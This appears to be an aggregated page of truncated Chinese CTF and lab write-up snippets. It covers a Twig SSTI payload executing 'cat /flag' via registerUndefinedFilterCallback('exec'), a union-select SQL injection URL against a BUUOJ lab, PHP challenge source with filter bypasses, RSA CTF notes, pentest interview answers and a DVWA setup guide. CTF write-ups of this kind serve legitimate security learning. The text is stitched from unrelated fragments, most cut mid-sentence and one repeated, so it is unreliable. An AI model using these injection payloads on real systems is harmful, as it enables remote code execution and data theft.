在buuctf的练习https://buuoj.cn/challenges#[MRCTF2020]%E4%BD%A0%E4%BC%A0%E4%BD%A0%F0%9F%90%8E%E5%91%A2预备知识：.htaccess文件(或者"分布式配置文件"）,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法， 即，在一个特定的文档目录中放置一个包含一个或多个指令的文件，

既然提示了是和cookie有关系那么先看cookie没什么东西然后去flag界面查看一下发现多了一个user参数这里存在注入考虑可能是SSTI注入尝试一下123{{9+9}}确实可以存在twig模板注入payload{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}参考链

from:backlion大佬 整理1.拿到一个待检测的站，你觉得应该先做什么？收集信息：whois、网站源IP、旁站、C 段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息另说…2.mysql 的网站注入，5.0 以上和 5.0 以下有什么区别？5.0 以下没有 information_schema 这个系统表，无法列表名等，只能暴力跑表名；5.0 以下是多用户

题目链接： https://www.ichunqiu.com/battalion?t=1&r=61107下载附件，得到一个压缩包里面有都提示是rsa加密了，那么exponent是rsa中常说的的e，modulus是常说的m下面贴一下openssl rsa 的命令使用python转换一下16进制用在线网址分解出p,q然后上脚本（python2）#coding:utf-8import gmpy

进入题目链接得到源码<?phperror_reporting(0);if(!isset($_GET['code'])){highlight_file(__FILE__);}else{$code = $_GET['code'];if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {die('You a

此处的环境是phpstudy0.7版本把dvwa下载后压缩到www文件夹下dvwa下载我们复制一下，去掉.dist后缀更改数据如下（后面有怎么加密钥）如果出现无法连接数据库的情况（phpstudy无法打开数据库）：我这里是因为自己之前下了一个mysql把他关闭方法：数据库连不上原因：原因和allow_url_include=Off 有关的报错解决密钥：密钥生成...

<?php$text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){echo "<br><h1>".file_get

查询闭合http://54250e8c-3b6c-4a66-8079-9beb8d389458.node3.buuoj.cn/Less-1/?id=0'查询数据库http://54250e8c-3b6c-4a66-8079-9beb8d389458.node3.buuoj.cn/Less-1/?id=0' union select 1,2,group_concat(schema_name) fro

此处的环境是phpstudy0.7版本把dvwa下载后压缩到www文件夹下dvwa下载我们复制一下，去掉.dist后缀更改数据如下（后面有怎么加密钥）如果出现无法连接数据库的情况（phpstudy无法打开数据库）：我这里是因为自己之前下了一个mysql把他关闭方法：数据库连不上原因：原因和allow_url_include=Off 有关的报错解决密钥：密钥生成...